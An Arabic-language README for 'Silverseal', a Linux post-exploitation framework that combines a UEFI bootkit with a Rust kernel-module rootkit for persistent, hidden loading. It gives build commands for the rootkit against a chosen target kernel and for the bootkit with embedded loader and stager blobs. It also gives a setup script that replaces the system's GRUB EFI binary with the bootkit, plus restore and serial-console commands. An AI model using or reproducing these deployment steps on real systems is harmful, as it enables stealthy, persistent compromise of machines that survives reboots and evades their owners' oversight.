
إطار عمل لمرحلة ما بعد الاستغلال على Linux مع UEFI bootkit يقوم بتحميل rootkit لوحدة kernel مكتوب بلغة Rust بشكل مستمر وخفي على أنظمة Linux الحديثة.

Silverseal هو إطار عمل لاستغلال ما بعد الاختراق على Linux يوضح قدرة UEFI bootkit على تحميل rootkit لوحدة نواة مبنية بلغة Rust بشكل مستمر وخفي على أنظمة Linux الحديثة. يتضمن المشروع:

يقوم بتثبيت الحزم اللازمة لبناء وحدات Rust-for-Linux الخارجية، ويثبّت rustup إذا لزم الأمر، ويبدّل سلسلة الأدوات الافتراضية إلى stable، ويضيف rust-src، ويثبّت bindgen-cli، ويحذّر إذا كانت النواة قيد التشغيل لا تُظهر CONFIG_RUST=y.
./scripts/install_dependencies.sh
[!IMPORTANT]
إذا كنت تستخدم WSL، فتأكد من إعداد WSL 2 وتثبيت Ubuntu. يقوم هذا السكربت ببناء نواة WSL2 مخصصة مُفعَّلة بـ Rust، ويجهّز VHDX للوحدات، ويمكنه اختياريًا كتابة إدخال في .wslconfig على Windows يوجّه WSL إلى النواة المُنشأة.
./scripts/wsl_setup.sh
يقوم السكربت تلقائيًا بتثبيت تبعيات البناء الخاصة بـ Ubuntu، ويستنسخ مصدر نواة Microsoft WSL2 المطابق، ويفعّل CONFIG_RUST، ويبني النواة باستخدام LLVM، ويهيّئ /lib/modules/<release>/build لبناء الوحدات الخارجية.
لعرض الخيارات المدعومة:
./scripts/wsl_setup.sh --help
لبناء rootkit مقابل نواة الهدف المطلوبة، تحتاج إلى تشغيل السكربت التالي على جهاز البناء الخاص بك (سواء WSL أو جهاز Linux أصلي):
./scripts/ubuntu_target_setup.sh <uname -r of your target kernel>
تقوم هذه العملية بتثبيت حزم linux-headers-<kernel> وlinux-lib-rust-<kernel> المطابقة، وتثبّت سلسلة أدوات Rust 1.82 المُحزَّمة من Ubuntu والمستخدمة في مسار generic-kernel، وتُصلح /usr/src/linux-headers-<kernel>/rust إذا كان هذا الرابط الرمزي معطوبًا، وتطبع أمر make الدقيق لاستخدامه بعد ذلك.
قم ببناء rootkit باستخدام نظام بناء النواة. لا تستخدم Cargo لبناء الوحدة الفعلية.
cd Silverseal/silverseal-rootkit
make
يتم تجهيز مخرجات الوحدة في silverseal-rootkit/target/ بعد البناء.
بناء rootkit لنواة هدف Ubuntu generic من WSL:
cd Silverseal/silverseal-rootkit
make clean
PATH=/usr/bin:/bin:$PATH \
RUST_LIB_SRC=/usr/src/rustc-1.82.0/library \
make RUST_MIN_TOOLCHAIN= \
KDIR=/usr/src/linux-headers-6.17.0-20-generic \
CC=x86_64-linux-gnu-gcc-13 \
RUSTC=rustc-1.82 \
RUSTDOC=rustdoc-1.82
يكتشف Makefile الخاص بالوحدة تلقائيًا أهداف /usr/src/linux-headers-* ويمرّر cfg التوافق الخاص بـ Rust عبر متغيرات أعلام Rust في Kbuild بحيث يستخدم مخطط بيانات module! الأحدث في Ubuntu المفتاح authors بدلاً من المفتاح الأقدم author.
بعد البناء، تحقق من أن إصدار نواة الهدف قد تم تضمينه بشكل صحيح:
modinfo target/silverseal_rootkit.ko | grep vermagic
يتطلب بناء bootkit وجود nasm في PATH. الحزمة (crate) مُهيَّأة بالفعل لاستهداف x86_64-unknown-uefi، ويقوم سكربت البناء بتجميع كل من asm/x64/lkm_loader.asm وasm/x64/lkm_stager.asm إلى كتل ثنائية مسطحة مضمّنة في صورة EFI.
cd Silverseal/silverseal-bootkit
cargo build --release
يتم كتابة الملف الثنائي EFI الناتج إلى:
Silverseal/target/x86_64-unknown-uefi/release/silverseal-bootkit.efi
يتوقع سكربت النشر حاليًا وجود ملف باسم silverseal-bootkit.efi في جذر المستودع. بعد بناء bootkit، انسخ مخرج EFI إلى هناك ثم شغّل سكربت الإعداد من جذر المستودع.
cd Silverseal
cp target/x86_64-unknown-uefi/release/silverseal-bootkit.efi ./silverseal-bootkit.efi
sudo ./scripts/setup_silverseal.sh
يقوم السكربت بإجراء تبديل مباشر على قسم EFI:
/boot/efi/EFI/ubuntu/grubx64.efi إلى /boot/efi/EFI/ubuntu/grubx64.efi.original./silverseal-bootkit.efi إلى مكانه كـ /boot/efi/EFI/ubuntu/grubx64.efiلإزالة Silverseal، استعد الملف الثنائي الأصلي لـ GRUB من النسخة الاحتياطية .original:
cd Silverseal
sudo ./scripts/restore_silverseal.sh
ls -la /dev/ttyS*
المنافذ الشائعة: /dev/ttyS0 (COM1)، /dev/ttyS1 (COM2)
minicom:sudo minicom -D /dev/ttyS0 -b 115200
# Or with `screen`:
sudo screen /dev/ttyS0 115200
# Or with `picocom`:
sudo picocom -b 115200 /dev/ttyS0
\\.\pipe\com_1)يمكنك أيضًا استخدام السكربت المساعد، الذي يعيد توصيل PuTTY باستمرار بـ \\.\pipe\com_1 بسرعة 115200 باود:
powershell -ExecutionPolicy Bypass -File .\scripts\connect-vm.ps1